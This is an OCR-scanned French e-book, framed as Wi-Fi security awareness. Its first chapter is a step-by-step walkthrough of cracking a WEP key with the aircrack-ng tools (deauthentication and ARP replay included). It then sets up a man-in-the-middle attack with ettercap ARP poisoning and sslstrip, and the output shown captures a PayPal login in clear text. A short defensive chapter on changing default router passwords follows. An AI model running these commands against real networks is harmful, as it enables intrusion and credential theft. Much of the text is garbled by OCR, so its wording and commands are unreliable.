Le wifi ca se configure
(Chapitre 1)
J'ai eu envie de partager avec vous trois annéestden sécurité informatique.

Si vous lisez ces lignes c'est que cela vous isgérenais je tiens a vous
rappeler que ce e-book n'est pas fait pour esprdand&orld

Non je I'ai fait pour vous montrer ou sont les lagises de nos cheres
machines... et pour vous interpeller !

Il existe une autre machine bien plus perfecticjune votre ordinateur qui est
rempli de failles.

Celle assise sur la chaise devant I'écran et esti lolen de vous dont je veux
parler, vous étes le premier fautif.

Ah bon et pourquoi me direz vous ?

Ceci est simple vous avez internet chez vous, agas fait l'installation du
matériel (box), vous-méme ou par un ami et lorsogle a fonctionné, vous
n‘avez pas perdu une seconde pour vous mettréed k@ vos mails ... youpi
c'est parti !

STOP !
Les configurations d'origine sons bourrés de t®géturite.

Ce qui peut vous mener trés loin si vous tombezisarpersonne mal
intentionné qui va s'attaquer a votre réseau local.

Avant, il n'y avait pas de possibilité de rentn@rwotre ordinateur autrement
gue par internet (seul les informaticiens « gee&tais potentiellement
dangereux)

Rentrer sur votre réseau local n'étais pas posailtfement que par le biais du
cable Ethernet ce qui voulait dire que si quelquoulais le faire il devait étre
chez vous, pas discret je vous l'accorde ...

L'internet sans fil appelé wifi a amené la plusngeafaille de sécurité
informatique le WEP encore largement utilisé au mohou j'écris ces lignes,
gui vous met potentiellement en danger vis-a-visedpect de votre vie privée...



Nous allons aller tres loin dans ce livre pour vdaener toutes les cartes pour
étre en sécurité plus que le minimum je vous ltasku

Et cela le plus simplement possible je vous prometfaire de mon mieux pour
utiliser des termes simples.

J'ai a cceur d'étre lu par un large public, quespere se posera la question :
« Papy et mammy sont il en sécurité avec la loidgadi leurs réseaux wifi est
activé par défaut il n'est pas impossible que Isinaélécharge illégalement le
dernier film de la Warner pas encore sortis dansddles en France et que I'on
accuse vos grands parents ... »

Ceci est tous a fait possible oui le wifi lorsqueis avais regu votre équipement,
étais activé par défaut et tous les modeles ertifonavant 2008 étais configuré
pour étre sécurisé par une clé wep.

Ne partez pas sur Google voir ce que c'est, jewnis expliquer les grandes
lignes.

Le wep c'est une clé réseaux lorsque vous étesfievows avez rentré votre clé
VOUS connaissez ceci je pense...

Entrons lIégérement dans les détails le wep :

Wired Equivalent Privacy et un mode de cryptagevguis permet en théorie
d'étre connecté a votre réseaux wifi et vous semhaissez cette longue clé (1)
Qui se trouve sous votre box et personne d'autpeuaese connecter !

Faux !

1) (clé hexadécimal elle est longue de 26 caractef8 bites il existe aussi des clés de
64 bites qui comprennent seulement 10 caracter, Inexis ceci n'‘est pas important a
retenir).

Vous vous dites « hey, mais mes grands parentsdilgsvg'en foutent ils I'ont
pris pour le téléphone et la télé internet bof »

Le probleme c'est que votre box émet un signalquifinonde votre
appartement et bien sdr il ne s'arréte pas a te paa au-dela de vos murs et il
peut étre piraté et ceci trés facilement.

Nous allons voir comment !

C'est tres simple et c'est pourquoi j'écris ceci.



Un gamin dans sa chambre peut vous causer de gpage...Passons aux
choses sérieuses, vous allez voir la simplicitpidder un réseau wifi mal
configurer voir pas configurer du tout !

Mettons nous un instant dans la peau d'un pirate.

Nous avons besoin d'informations et il en existéasnje joindrai une page avec
tous les sites que j'ai pu fréquenter pour pouaajourd'hui écrire ce « livre ».

Le seul site dont nous allons avoir besoin c'dsi de Rémote-exploit
Vous pouvez y télécharger une image iso BackTrasketsion quatre pré-final
est téléchargeable a l'instant ou j'écris.

Mais j'utiliserais ici la version trois finals.
http://www.remote-exploit.org/cqi-bin/fileget?vers=bt3-vm

Ceci est un systeme d'exploitation complet basé@sumoyau linux et qui inclut
un panel de logiciel pour tester votre sécuritélessibilités sont trés peu
rassurante...

Le fichier iso que vous avez téléchargé ne dégassées 700 mo
C'est la taille pour pouvoir le graver sur un cd.

Pour ¢a vous avez besoin d'un logiciel comme Nél® gus important
Vous devez graver le fichier en mode image disk .

Vous n'étes pas obligé d'essayer, mais si c'esislalors vous venez de créer un
live cd linux basé sur slaxware un systeme recashgomplet.

Et oui linux c'est comme Windows on l'installe oulaitilise en live cd.
La différence c'est que linux est gratuit...

Je ne ferais pas de comparatif ni de polémiqueéest pas le but.

Mais la version la plus simple et rependu.

C'est UbuNtu.

Revenons donc a notre fichier iso que vous avezgea image disc et donc
votre live cd est prét.



Il va vous permettre de trouver la clé de votrea@iscomme si vous étiez un
méchant et pour faire I'essai votre ordinateuritsuff

Je vais étre plus précis, un live cd linux estysiéame qui se lance a partir du
lecteur de cd en bootant dessus vous mettez leadahd et en démarrant vous
appuyer sur f12 pour choisir I'option de boot...

Le lecteur de cd/dvd.

Votre Windows et vos fichiers ne risque rien casystéme va se charger dans
la mémoire vive de votre ordi

Vous allez donc pouvoir essayer pratiguement tdegesersions de linux sans
les installer c'est sympa et sans risque en plus.
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Voici les options de lancement du live cd choisiss®T3 graphics mode (vesa
kde) »ou si cela ne marche pas essayer la preauss

Je ne rentrerais pas dans les détails des autiieaycar le but est de vous
montrer avec quelle facilité nous allons récupéretas de renseignements...
Au cas ou le lancement ne serait pas automatique devez rentrer trois mots
1) root

2) toor

3) startx (comme le clavier est en gwerty tant gugs n'avez pas changé
I'option du pays voulue le 'q' est le 'a’ il faahd rentrer stqrtx)

Voici I'image du bureau du live cd une fois démarré
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Clic droit sur le drapeau on choisit la FRANCE.

Bien nous sommes préts enfin il nous faut une eafteceompatible avec ce que
nous souhaitons faire...

Mais que dit-il ?

C'est simple je vous explique.
Les cartes wifi ont un chipset qui peut étre ddférselon la marque est le

modele et elles doivent pouvoir passer en modeRitoring » et pouvoir faire
de:
L'injection de paquets

Mais ce n'est pas un frein pour notre gamin damhambre, car vous trouverez
facilement une clé compatible a I'nyper ou voutefavos commissions
ménageres.

Les chipsets qui existent sont : realtek, ralirkeeos. Il en existe d'autres, mais
je vous laisse les découvrir ici je vous ai cigpencipaux...

Il est probable que votre carte wifi intégré fakkskaire ne partez pas acheter
tenter le coup avant !

Euh je tente quoi ?



Vous allez vite comprendre nous allons travaileemslun terminal.
C'est quoica ?

Vous allez voir au début c'est reboutant et c'est!n

Ou est la lumiére ?

Tutute moussaillon suivez-moi et vous allez touahetruc super puissant et
malgré tous trés amusant.

Vous pouvez controler et exploiter votre live cafoguration, logiciel...
Bref on peut tous faire ... sauf le café !

En cliquant sur la fenétre noire en bas a gauche aavrons donc un terminal.

Shell - Konsole
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Nous allons commencer par relever des informasomsotre carte wifi...
Taper « iwconfig » ceci va nous renvoyer les camifisgque « Backtrack » a
trouve.



Shell - Konsole

# ifconfig
Link encap:
Ly

dropp
dropped

¢ iwconfig
no wireless ext

etha no wire

wland
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Ici je n'ai qu'une clé wifi elle s'appelle wlan0.

A ce niveau-la si je voulais me connecter a moaaége ferais ceci...
Démarrer Wireless assistant

ZONE
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Mais ce n'est pas comme ¢a que nous allons attégjteseau cible non
Je vous en ai parlé nous allons utiliser un modeotie carte dit :

« Monitoring »

Fermer Wireless assistant



Et revenons a notre terminal nous allons lancés togiciels
Le premier se nomme Airodump
Avec nous allons scanner les réseaux wifi a porter
J'en profite pour vous montrer une photo
D'une antenne wifi dites paraboliques
Ne négligez pas la distance a laguelle un voisin
Peut capter votre réseau elle peut se compteefaeiit
En plusieurs 10aines de metre
Voir plus de 300m sans obstacle en couplant uniampl

Antenne sd24
doradus
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Driver

rg8187 (monitor mode enabled)
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Pour passer la carte en monitor

Taper « airmon-ng start wlanOaitention wlanO c’est le nom de ma carte
Lavotre pourrait étre différente
Il vous fautadapter vos commandes



Pour lancer airodump
Airodump-ng —w out —c 10 wlanO

Ici on enregistre les trames circulant sur le cd0agt on les enregistre dans un
fichier qui s’appelle ‘out’.

Votre terminal va prendre une nouvelle allure !

Shell - Konsole

BSSID P\ #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:16:41 1 13 96 2 @ 10 54 WEP WEP
00:16:41 2 ' 43 leo 2 @ 10 54 WEP WEP

BSSID STATION PWR Rate Lost Packets Probes

00:16:4 3 ©o00:1 4 0:A7 90 9-12 ] 10
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Le 1, 2, 3 et quatre est une série hexadécimal® daractere on appelle ceci
une adresse mac.

C'est un peu comme une plaque d'immatriculaticst c@mme cela que l'on
reconnait un appareil avec qui nous souhaitongspondre.

Un et trois sont identiques on retrouve le troigparce qu'il y a un ordinateur est
connecté a l'ap (box) son adresse mac est ici le 4.



Donc un c'est 'adresse mac de la box que l'ortteg@er

Deux c'est un second réseau qui se trouve sundd di&, car ici on ne scanne
gue le canal 10 on va donc oublier le 2.

Trois je vous l'ai dit et quatre c'est donc I'adeasac de la carte wifi de
I'ordinateur.

Bien nous avons donc appris beaucoup sur notre. st facile no®
Ouvrez un nouveau terminal !

Le second logiciel va nous permettre de généréradic ce qui va faire que
nous allons pouvoir décrypter la clé wep tres vite.

Ceci s'appelle l'injection de paquets par renvdR® *

* protocole tcpl/ip

Mais comme je vous l'ai dit on fait simple danstkrsnes employés et je tiens a
vous éviter de partir sur Wikipédia toutes lestieesecondes et moi aussi

La commande est la suivante :

Aireplay-ng -1 0 -e »livebox-cible » -a « mac dpl%» -h « mac de
I'ordinateur » wlan0
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CH 10 ][ Elapsed: 8 «
BSSID PV ata, #/s CH MB ENC CIPHER AUTH ESSID

13 04 2 0 WEP  WEP Livebox- € i Ble
43 100 2 0 10 54 WEP WEP Livebox-

STATION PWR  Rate Lost Packets Probes

©oee:l 4 G:A7 90 ©0-12 ] 10
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Cette étape nous associe a la cible livebox wapeémportante !

Ceci fait
Lancons ce fameux renvoie d’ARP.

Aireplay-ng -3 -e »livebox-cible » -b « mac dad’» -h « mac de
I'ordinateur » -x 900 wlanO

La syntaxe a été légerement modifiée le —x 90 Gedtesse d’injection, il est
important de jouer avec pour éviter le plantage.




Shell - Konsole <2>

ether
con SID: 001 1 on chz

m) [ACK]

-% 900 wlang
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Sur I'image on s'apercoit que les ARP sont a zéro

Nous allons donc pour faire démarrer l'injectionaiecter I'ordi et oui c'est
possible ...

Pour cela il faut ouvrir un nouveau terminal etclan:

Aireplay-ng -0 5 -e »livebox-cible » -a « mac @pl» -c « mac de
L'ordinateur » wlan0O

Shell - Kansole <3>

wlang

-c 00:1 wlan@
) on channel 10

[00: 1. 1 [27]16
[08: 1. 1 [o|6ac
; 1 [167]15
directed y : 1 [2
g 64 directed DeAuth. STMAC: [00:1 1 [130] @

Instantanément les Arp sont capturé.



Shell - Konsole <2>

:59 Sending Association Request [ACK]
04:52:00 Association successful :-) (AID: 1)
! -ng -3 -e ) -0 00:1 -h 00: 1 -% 900 wlang

| dossn't match the specified MAC (-h).

ifconfig W ether 80; 1
05:13:55 Waiting for heacon frame (BSSID: 00:1 | on channel 10
Saving ARP requests 355.cap
You should a 't airodump-ng to replies.
Fead 139758 ts (got 4588 ARP requests and 111764 ACKs), sent 34269 packets...(899 pps)

Dans le troisieme terminal nous allons lancer kmiée logiciel.
Aircrack c'est lui qui va trouver la clé wep
La commande : aircrack-ng out*.cap

Shell - Konsole <3>

Encryption
' Livebox- WEP (164 IVs)
© Livebox-ourd WEP (11170 IVs)
; Unknawn

wdex number of target network ? 2j]

On choisit la cible...

Seulement 10mn ensuite nous pouvons voir sur leneaglessous qu'aircrack
A besoin de plus de trames (ivs) pour décryptetdavep.
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Je vous avais dit que celas étais assez facileawmisant voyons
La derniére image.
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Bingo key found ...



Le crack n‘aura duré que 15mn40s pour une clé daieer de
128 bites.

Voila notre pirate vient de rentrer chez vous dbiast trés claire 45000€
d'amende et 3ans de prison !

Mais notre pirate s'il utilise un brin de subtilggdura vous espionné sans avoir
besoin de se connecter a votre réseau il va seg gars simplement de la clé
pour décrypter les "paquets” qui transite et serecbsolument invisible !

Vos mots de passe http vos conversations MSN volse®de sécurité et toutes
les pages http cela va permettre au pirate dersquiovous étes...

S'il estime que vous étes intéressant et qu'il@tellen savoir plus sur vous
Il peut en se connectant au réseau mettre en ptacattaque dite de I'homme
du milieu (mitm).

Et oui vous me direz pourquoi se connecter si art @éja avoir autant de
renseignements...

Ben il existe un protocole le https et les cerdifscssl.
Oulla'y par en vrille ?

Non le https (hyper texte transfert Protocol Secaest une sécurité pour vous
connecter sur des pages « sérieuse » comme sotecempangue ou paypal ou
pour hotmail.

De ce fait un pirate qui met en place une attagi® mvant, avait un souci pour
faire avaler un faux certificat ssl (secured sotkgér) a votre navigateur.

Car la plupart du temps lorsque vous subissiee edtihque votre navigateur
VOUS renvoyer un message vous prévenant de fagepitononce.

Avant de vous mettre une image je vous rappelldessl est une
communication chiffrée entre votre navigateur etdeseur web.

Méme si webmitm avais un avantage mais rien de acelye avec...

Un autre logiciel que je vais vous montrer, maadlans pas trop vite !

Et oui je parle trop...

L'image ci-dessous est le résultat d'un faux ceatissl mis en place sur le
réseau

Ici j'ai utilisé cain&abel qui permet de faire uataque mitm sous Windows



Echec de la connexion sécurisée

&

Ltlise un certificat de sécurits invalide,

Le certificat n'est pas sOr car il est auto-signe.
Le certificat n'est valide que pour por.

(Code d'erreur : sec_error_unirusted_issuer)

= Cec peut-&tre dl & un probléme de configuration du serveur ou a une
personne essayant d'usurper l'identité du server,

= S5i yous vous 2tes déja connecté avec succés 3 ce servelr, 'erreur est
peut-2tre ternporaire et vous pouvez essayer 4 nouvead plus tard,

Wous ne devez pas ajouter d'exception si wous utilisez une connexion 4 Internet en lagquelle vous
n'avez pas tokalement confiance ou si vous n'avez pas 'habitude de recevoir un avertissement
pour Ce Serveur,

Quikker cetke page I Ajouker une excepkion. .. I

La on voit qu'il ne vaut mieux pas « ajouter uneegtion »
Enfin si vous avez envie je vous laisse faire ...

Perso je quitte !

Et je lancerais un logiciel qui s'appelle airsndregus avertira vocalement (en
anglais) de la nouvelle connexion au réseau enlvgi base sur I'adresse mac.

Maintenant faisons un point !

Donc notre gamin...
A télécharger un fichier iso qui est un systemaxigue I'on peut soit installé
soit utilisé en live cd.

Il I'a gravé et utiliser il a donc trouveé la clédwire réseau il a ensuite récupéré
un tas d'informations sans se connecter.

Il a utilisé wifitap, Airtun-ng, Ettercap, Tcpdumgirdecap-ng ethéreal.
Et récupérer tout le http et ses mots de passe.

Le pire c'est qu'il peut récupérer en se conneetané compte paypal sans que
VOous Yy voyiez que du feu.

Un logiciel sortis il y a peu SSL-STRIP.

Il ne fait pas parti du live cd Backtrack Ill final

Mais ce n'est pas grave je vais vous montrer cornhnestaller et |'utiliser.

Pour cela y a un site le guide de survie sous lquipeut beaucoup vous aider



http://www.delafond.org/survielinux/

Pour installer un logiciel sous linux et plus...

http://www.linuxpourlesnuls.org/forums/

Ici aussi vous aurez aussi de bon conseil !

Mais ce qu'il faut savoir, le plus embétant songXice sont les drivers
Il faut un peu de débrouille et d'aide selon leavat

C'est pour cela que si vous débutez et que linus pdait Ubuntu permet de
trouver de l'assistance facilement.

Si vous étes plus a l'aise vous opterez pour dgbian
Enfin c'est ce que je pense.

Aller on va installer ce logiciel vous allez volest différent de Windows
Mais pas si dure !
Toujours dans le terminal.

wgethttp://www.thoughtcrime.org/software/sslstrip/ssis0.2.tar.gz

tar xvzf sslstrip-0.2.tar.gz ./ ceci décompresse l'archive télécharger
cd /sslstrip-0.2 Jet cela vous place dans le fichier
python setup.py install

Et voila ce n'est pas plus dur que ca !
Bien pour l'utiliser nous allons nous servir d’etap.
On va activer I'lP forwarding et capturer le tradio notre ordinateur

Ceci a pour but de rediriger tout ce qui transéelp passerelle par défaut c'est a
dire votre box sur notre ordi !

C'est assez compliqué a vous expliquer, mais stlsiraple a mettre en place.
http://www.frameip.compour apprendre
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La commande echo "1" > /proc/sys/net/ipv4/ip_forvanrodifie iptables pour
s'assurer que cela a fonctionner.

On tape : cat /proc/sys/net/ipv4/ip_forward
Un sera retourné si c'est O c'est que rien neEsse...
Tapez ifconfig wlanO up

Ce n'est pas obligé de le faire, mais c'est bde davoir ca va démarrer votre
carte... si elle n'est pas « monté »




Bien on va lancer sslstrip http://www.thoughtcriorg/ c’est le site de son
créateur

Pour l'utiliser il faut simplement deux lignes dentmandes :

iptables -t nat -A PREROUTING -p tcp --destinatjport 80 - REDIRECT --to-port 15000

python sslstrip.py -w log.txt -a -1 15000 —f

Shell - Konsole
stination-port 88 -j REDIRECT --to-port 15800

sslstrip 0.6 by Moxie Marlinspike running...

(=g @ |~ ol Tutor &l Shel ot yst i . 2 Hwo) = g3

Simple non ?




Nous allons donc utiliser ettercap logiciel inctlans le cd malheureusement
pour nous les victimes il est redoutable !

Shell - Konsole

(&5 DHCPDuUmp
(& Dsniff
(&% Driftnet
(&3 Etherape
SRS

¢ Ettarcap
& Httpcaptiire
(&% Ntop

(% PHoss

L # Information Gathering r & 5IPdump
= Documents ¥ &4 Network Mapping Lo (&5 5MB Sniffer
% Editors L Vulnerability Identification 3 (&% S5LDump
4 Intemet ¥ o i
;_’ i (= Penetration » - . (éip:,llt .

Graphics b Malntaining Access = PasswordAttacks » ‘- Tr :
1 Multimedia ¥ - Radio Network Analysis ' soie : (:" ek
= )| y : %m (&5 Wireshark
on Utilities ¥ m—

A Digital Forensics

- ~
3 KSnapshot Reverse Engineering

2% Find Files/Folders

b
L
1.4 VOIP & Telephony Analysis »
¥
>
>

Miscellaneous

“w Run Command...
[2] switen user »
Lock Session

Le) Log Out..
ey - @ [*] o shell - Konsole = E : o) gt

# Set pcap filter... p

] = £ ¢ <) |*] o snei-konsole ¥ ettercap NG-0.7.3 W 2 EHsyo gy

Ici on choisit la carte wifi...



System Shell - Konsole

ettercap NG-0.7.3

File 5niff Options Help

ETFERIAP)

ettercap Input

@ Network interface : |wlan0 j

ng ‘ Xgancel‘

M [~ 1 &» y \g :v ol Shell - Konsole % ettercap NG-0.7.3 @ 2 Ky O) =5l-|

Shell - Konsole

4 ifconfig
ettercap NG-0.7.3
Start Targets MsbE#W View Mitm Filters Logging Plugins Help

[M Hosts list

B Scar,for hosts  Ctri45
7 Load from file... Ctrl+0
(&) save tofile... Ctrl+5

28 plugins

39 protocol dissectors

53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

u [~ | t. o né :‘ ol Shell - Konsole X ettercap NG-0.7.3 ’E| 2 s ©) =E :E

Ici on lance le scan pour voir qui est connecté ?
Et cela pourrait bien étre vous !



Mais je vais vous aider a vous protéger.
Mais finissons d’abord

ettercap NG-0.7.3

Start Targets Hosts WView Mitm Filters Logging Plugins Help

Host List x |

Session E

o Te IPAddre55|MACAddre55 Description

»
v

Ffouretout

15000

Delete Host Add to Target 1 Add to Target 2

39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...

ettercap

H - . =) [r| & Termin Wiirel Conn faure X ettercap X etter: | (=] il = 22: 3

ettercap NG-0.7.3
Start Targets BELHEN View Mitm Filters Logging Plugins Help

[ scan for hosts  Ctri+5
7> Load from file... Ctrl+O
[ save tofile... ctri+s

53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
1 hosts added to the hosts list...

. @ [ [~ ; T 2 st I N ett B 2 HEwo = gl




Ici on voit un host « added » il y a donc un omicecté en plus du nétre.

Terminal No. 3 - Konsole

Session Edition Affichage Signets Configuration Aide

wll Terminal & Terminal No. 2 | & Terminal No. 3 | & Terminal No. 4 W Terminal No. &

&l Terminal Mo, &
Inter
Link 1] h Hwaddr

MOTRAILERS MULTIC

& 'j' &% Terminal No. 3 - Ke P Wireless Assistant 0:5.7 @ Goodle-Mazilla Firerox El E SRR B EE :5 4

Ici j'utilise un nouveau logiciel pour connaitrei @st sur le réseau « genlist »
192.168.1.49 est I'adresse ip de mon ordi
.11 c’est la victime...

Session Edition Affichage Signets  Configuration
o Terminal | & TerminalNo.2 | @l Terminal No 3 | & Terminal No 4 & Terminal No. 5 &l Terminal No, 6
ettercap NG-0.7.3
Start Targets Hosts Wiew Mitm Filters Logging Plugins Help

Host List x |

IP Address | MAC Address ‘ Description

192.168.1.11 00:1

Delete Host Add to Target 1 Add to Target 2

53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list...

| & Terminal I ¥ Wireless A




Session Edition Affichage Signets Configuration  Aide

| =& Terminal | & TerminalMo. 2 | f TerminalNo.3 | & TerminalNo. 4 W Terminal No. 5

Start JTargets Hosts WMiew Mitm Filters Logging Plugins Help

-port 15000
Host List x

IP Address MAC Address Description
192.168.1.1

Delete Host e Add to Target 1 Add to Target 2

7587 mac vendor fingerprint

1698 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list...

Host 192.168.1.1 added to TARGET1

v | @& Terminalr = Wireless A ¥ Google system X ettercap

Ici on fait encore de I'lP forwarding...

Il faut donc mettre en surbrillance la passerediedefaut 192.168.1.1 et cliquer
sur I'onglet au milieu.

Ensuite en haut & gauche on clique sur l'ongleitra m et on coche comme sur
I'image ci-dessous

Terminal No. 2

Session Edition Affichage Signets Configuration  Aide

|| =& Terminal | & TerminalMo.2 | @& TerminalNo.3 | & Terminal No. 4 & Terminal No. 5 & Terminal No. &

Start Jargets Hosts Wiew Mitm Filters Logging Plugins Help

-port 15000
Host List x |

IP Address | MAC Address J Description

Optional parameters

[<1iSniff remote connections.
[ ©nly poison one-way.

ok | xgancel.l

Delete Host Add to Target 1 I Add to Target 2

7587 mac vendor fingerprint

1698 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list...

Host 192.168.1.1 added to TARGET1

B - 5 o ~| & Terminalf = Wireless A5 @ Google system * ettercap [=] il = 22:5k



Voila il ne reste plus qu'a cliqué sur l'onglettars»

Terminal No. 2 - Konsole

Session Edition  Affichage Signets Configuration  Aide
|| il Terminal | &l Terminal No. 2 wll Terminal Mo. 3 | @ Terminal No. 4 | o Terminal No. 5 ol Terminal No, 6 | )
ettercap NG-0.7.3

Start Targets Hosts Miew Mitm Filters Logging Plugins Help

-port 15000
Hest List X% |

IP Address | MAC Address ‘ Description

192.168.1.11 00:1-

Delete Host Add to Target 1 Add to Target 2

lARP poisoning victims:
GROUP 1:192.168.1.1 00: ]y

GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing. ..

H u -:s;;_ & @ . _-_'_: o Termin © Wireles J Googl syster Xetterr N livrel ’i‘ EI 1) “‘)m‘ = EEE‘I

Voila a ce stade notre gamin peut partir a I'éeblersque vous irez sur un site
comme paypal ou n'importe quel site utilisant tphivous ne verrez rien du
tout...

Et pourtant il enregistrera sur son ordi la pagéée votre identifiant et votre
mot de passe en clair

Imaginons que comme par hasard notre gamin est d®ahce...

L'image ci-dessous est une page corrompu d'unesg@mma paypal j'ai utilisé
une fausse adresse mail et un faux mot de passepma I'exemple l'image et
issu de notre ordi I'ip 192.168.1.11 (voir plusthau

Rien ne vous permet de différencier le site qudestnt c'est bien l'officiel je
vous l'assure mais ssl-strip a tous simplementerdsegrotocole https et
remplacé par du http.

Regarder L'urlle's "a disparu !



&) Connexion - PayPal - Mozilla Firefox

Fichier Edtion  Affichage  Historique  Marque-pages Qutls 2

6 ¥ c A @ (BIhttp:,l',lwww.paypal.com,l'Fr,l'cgi-hin,lwebscr?cmd=_login-run&dispatch=5885d80a13cﬂdh1ffc45dc241d849953dﬂeﬁ_’:’r‘ hd !' Gongle }?‘|
Owtir wicomete | Connexion | Alde | Espace séeurtd | | Rechercher

PayPal

Accuell 1 Particuiers 1 Marchands Developpeurs

Adresse email fr ; ? PayPal sécurise

esuisungigeon@hotmail tous les E_“lwl’ii d'argent a vos proches.

Wit de passe PayPal ,

‘Consuitez |3 page
Moncampte %)

PayPal \Votre réfiexe sécuité pour payer en figne.

Vous avez oublié volre adresse
email ou mat de ';gas*ég' 7

Nowveay chez PayPal 7 Ouwrir
un compte

Motre société | Tyoes de compte | Tarifs | Respect de la vie privée | Espace séourté | Service cliertéle |
Cortrats diutiisation | Offres diemoloi | Mobile | Farrainates | Paismerts aroupés |

varlsign
Identity
Protection

Copyright @ 1999-2009 PayPal. Tous drats rézerves,

Termming

'J demarrer € [ O

le https et remplacé par du http. Incroyable !

C'est la seule facon de le voir si vous étes sypadaenfin sur un site en https si
vous n'avez pas le ' s ' méfiez-vous...




La on rigole plus, c'est grave ! Voici ce que nausons en rentrant de I'école...

.

Home

Terminal No. 2 - Konsole

Session Edition Affichage Signets Configuration  Aide

NMmm ettercap NG-0.7.3

Start Targets Hosts View Mitm Fiters Logging Plugins Help

1 Host List x  Cornections X ‘

Host Port |- |Host Port |Proto|State |Bytes B
209.85.227.103 80 - 192168149 41174 T closed 0 r
7412516280 80 - 192.168.1.49 59288 T closed 0
192.168.1.43 59289 - 74.125.16280 80 T closed 867
209.85.227.102 80 - 192.168.1.49 44823 7 closed 0
192.168.1.43 60204 - 81.52.160.64 80 T closed 0
192.168.1.11 1026 - 192.168.1.1 53 U idle 2590
192.168.1.11 1052 - 209.85.227.105 80 T closing 651
192.168.1.45 32768 - 192.168.1.1 5 U ide 836
192.168.1.45 33506 - 209.85.227.105 80 T closed 1205
192.168.1.11 1056 - 209.85.227.103 80 T closing 679
192.168.1.43 59383 - 209.85.227.103 80 T Closed 1163 |
View Detals Kill Connection Expunge Connections
| GROUP 1 : 192.168.1.1 00: 1 l
BEsH GROUP 2 : ANY (all the hosts in the list)
giStarting Unified sniffing...

HTTP : 66.211.169.65:80 -> USER: esuisunpigeon@hotmail.fr PASS: powned INFO: [t BTNITRSENIsEIRRif coi-bin/webscricmd=_login-
Nrun&dispatch=5885d80a13c0db1ffc45dc241d84e953d0e88f8d71535079b246201019cBadab

system o X ettercap i@ sy “‘]gd 3 EHE:

Comme on dit dans ce cas-la « powned »
Il est maintenant temps de se protéger.

Par forcer que je sois complet, mais je ferais da mieux pour vous guider
Si vous pensez que ceci est grave sachez quieaekautre logiciel pire que ca...



Sécuriser son réseau

(Chapitre II)

Je vais faire un come back si vous me permettez..

Vous vous dites c'est un tutoriel pour se lancesda" hack "
Non,

Car ces informations sont sur le net je n'ai nerenté je distribue ce livre a
toutes et tous pour qu'ils prennent le temps dersee leurs réseaux !

Je n'oublie jamais de fermer le verrou de ma pganteiit et vous ?

Bien nous allons nous baser sur une live-box dg@an

Fichisr ~ Edition  Affichage:  Historique:  Marque-pages  Qutils 7

@ - w0 bepeiiiezaes .ty Tpov| wFelan

| Livebox -

. =
liveboXx
I L= \S ¢
Quverture de session
Langue: FFR Frangais ~

Identifiant

Mot de passe

http://192.168.1.1/

c'est l'url & rentrer pour arriver sur cette page

Ce gu'il faut connaitre c'est I'adresse IP réseda gasserelle par défaut (de
votre box).

Et comment je fais ?



En bas a c6té de I'heure vous avez votre cartaquiifilevrait étre connecte.
Cliquez dessus.

Machine Périphériques Aide

Premiurm Editi

5 demarrer

Insertion

Affichage

S L TR

Eichier

QEHR

Edition

Format

Outkils
wy .

Tableau

1] Réseaux sans fil détectés |1

Un ou plusieurs réseauy sans fil sont & portée de cet
ardinateur. Pour vair la liste et vous connecter, cliquez sur ce
message

FenStre 2

2

Mormal + 14 pt ~ Times Mew Roman - 14 ~ G I &

e RRU IR R RS S A IES RIS U b CUR RS RN AES AR NS DA LS RO SN B SN -0

=

M‘

[

a '

o el Etat de Connexi

I: al | Support

Etat de la connesion

Tupe d'adresse :
Acresse 1P

Configurge manuellement

192.168.1.49

Masgue de sous-igseau:

Passerslle par défaut

“windows n'a détecte sucun probléme sur
cette connesion. Si vOus NE PoLYEZ Pas Yous
connecter. cliqusz sur Rparer

255.255.2655.0
19216811

Fisparer

Fermer

&

Dessiner *

“wow |

Page 29 Sec 1 zajza A 2,4 cm

Li

1

ol 2




Onglet « support » on voit ici que la passeredlegefaut est bien 192.168.1.1
Ce n'est pas une regle selon votre opérateur eatechanger...

Il existe pour free une exception lI'administratimrépond qu'a cette adresse

http://subscribe.free.fr/login/

Ereehoctlagmell [enpetoi et AD S I tetne tll e lephon e RLe le w110 e M o211 (A BILe f o3

Fichizr ~ Edtion  Affichage  Historique  Marque-pages  Qutils 7

@EV c Lgy | [mE | hitpeffsubscribe.Free. frfloging + | | &¥~| gRay F ,

fre Freebox, la meilleure offre ADSL: Int... | +

CONNECTEZ-VOUS A VOTRE INTERFACE DE GESTION

Cetie interface vous permet de gérer les fonctionnalités liges:

v dvyotre cormpte Freebox, vous pouvez vous identifier avec votre numéro de ligne traditionnel, votre nurméro de ligne Freebox ou
wotre identifiant Freebox

v dvotre compte Free 50 Heures, identifiez-vous avec votre numéro de ligne, Sivous disposez d'un compte Free 50 Heures et d'un
compte "Freebox’ au meéme numéro, entrez seulement votre numeéro de ligne

» gvotre compte emall, identifiaz-vous avec l'identifiant da ce demiar

Pour accéder avotre compie, merci de saisit vos identifians
Identifiam =|

Mot de passe Connhexion

Yous avez oublié votre mot de passe 7 Cliguez ici

Wous n'etes pas encore abonne ? Cliguez ic

Plan du site
Accueil Internet Téléphone Telévision

Cart vounsne L hrnusre bélSnhon e hd=cnétoss e Dmrione Elyoc toire ¥
Terminé D‘ﬂ

Revenons a notre image lere image

A ce stade si vous n'avez pas pris le temps deisécuotre box l'identifiant et
le mot de passe sont donc attribués par défaus, vows rendez compte que
dans l'appellation « par défaut » il y quelque ehqsi cloche ... non ?

Id : admin pass : admin si vous ne venez pas chaetgealors vous pensez bien
gue rentrer dessus apres avoir trouvé votre cléasepnfantin...



Fichier ~ Edition ~ Affichage  Historiqus:  Marque-pages  Qutils 7

@ - C | L hemypise ey il i A 5

| ._;| Livehox - -
livebox
Quverture de session

Langue: | FR Frangaiz -
ldentifiant

hat de passe:

Terming p

Pour changer votre identifiant et mot de passed &edle une fois dans votre
interface.
